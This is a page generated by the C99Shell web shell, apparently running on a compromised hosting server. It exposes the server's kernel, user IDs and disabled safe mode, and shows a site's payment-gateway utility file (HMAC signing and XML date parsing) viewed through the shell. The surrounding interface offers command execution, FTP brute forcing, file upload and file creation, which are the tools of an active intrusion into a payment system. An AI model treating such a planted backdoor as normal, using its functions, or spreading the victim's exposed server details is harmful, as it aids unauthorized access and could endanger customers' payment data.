!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/   drwxr-xr-x
Free 183.74 GB of 490.84 GB (37.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IgfsUtils.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class IgfsUtils {

    public static function 
getSignature($ksig$fields) {
        
$data "";
        foreach (
$fields as $value) {
            
$data .= $value;
        }
        
        return 
base64_encode(hash_hmac('sha256'$data$ksigtrue));
    }
    
    public static function 
getUniqueBoundaryValue() {
        return 
uniqid();
    }
    
    public static function 
parseResponseFields($nodes) {
        
$fields = array();
        foreach (
$nodes->children() as $item) {
            if (
count($item) == 0) {
                
$fields[$item->getName()] = (string)$item;
            } else {
                
$fields[$item->getName()] = (string)$item->asXML();
            }
        }
        return 
$fields;
    }
    
    public static function 
startsWith($haystack,$needle,$case=true) {
        if(
$case){return (strcmp(substr($haystack0strlen($needle)),$needle)===0);}
        return (
strcasecmp(substr($haystack0strlen($needle)),$needle)===0);
    }
    
    public static function 
endsWith($haystack,$needle,$case=true) {
        if(
$case){return (strcmp(substr($haystackstrlen($haystack) - strlen($needle)),$needle)===0);}
        return (
strcasecmp(substr($haystackstrlen($haystack) - strlen($needle)),$needle)===0);
    }

    public static function 
formatXMLGregorianCalendar($date) {
        try {
        
$format1 date("Y-m-d"$date);
        
$format2 date("H:i:s"$date) . ".000";
        
$format3 date("P"$date);
        
$sb "";
        
$sb .= $format1;
        
$sb .= "T";
        
$sb .= $format2;
        
$sb .= $format3;
        return 
$sb;
        } catch (
Exception $e) {
        }
        return 
NULL;
    }

    public static function 
parseXMLGregorianCalendar($text) {
        
$count=1;
        try {
        
$tmp str_replace("T"," ",$text,$count);
        return 
DateTime::createFromFormat("j-M-Y H:i:s.000P"$tmp);
        } catch (
Exception $e) {
        try {
        
$tmp str_replace("T"," ",$text,$count);
        return 
DateTime::createFromFormat("j-M-Y H:i:s.000"$tmp);
        } catch (
Exception $e) {
        }
        }
        return 
NULL;
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0162 ]--